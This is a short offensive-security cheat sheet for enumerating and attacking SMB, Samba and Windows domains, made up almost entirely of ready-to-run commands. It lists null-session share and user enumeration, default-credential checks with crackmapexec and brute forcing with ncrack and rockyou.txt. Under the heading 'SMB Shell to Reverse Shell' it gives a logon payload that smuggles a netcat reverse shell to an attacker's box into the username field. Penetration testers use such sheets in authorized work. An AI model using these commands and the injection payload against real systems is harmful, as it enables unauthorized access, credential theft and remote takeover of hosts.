SAMB / SMB / Windows Domain Enumeration
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
Also see, nbtscan cheat sheet (right hand menu).
smbclient -L //192.168.1.100
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
nmap --script smb-protocols 10.10.10.10
smbclient -L //10.10.10.10
smbclient -L //10.10.10.10 -N // No password (SMB Null session)
smbclient --no-pass -L 10.10.10.10
smbclient //10.10.10.10/share_name
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u '' -p ''
smbmap -H 10.10.10.10 -s share_name
crackmapexec smb 10.10.10.10 -u '' -p '' --shares
crackmapexec smb 10.10.10.10 -u 'sa' -p '' --shares
crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares
crackmapexec smb 10.10.10.10 -u '' -p '' --share share_name
crackmapexec smb 192.168.0.115 -u '' -p '' --shares --pass-pol
enum4linux -a 10.10.10.10
rpcclient -U "" 10.10.10.10
* enumdomusers
* enumdomgroups
* queryuser [rid]
* getdompwinfo
* getusrdompwinfo [rid]
ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v
mount -t cifs "//10.1.1.1/share/" /mnt/wins
mount -t cifs "//10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gid=0
SMB Shell to Reverse Shell :
smbclient -U "username%password" //192.168.0.116/sharename
smb> logon “/=nc ‘attack box ip’ 4444 -e /bin/bash"
Checklist :
* Samba symlink directory traversal attack
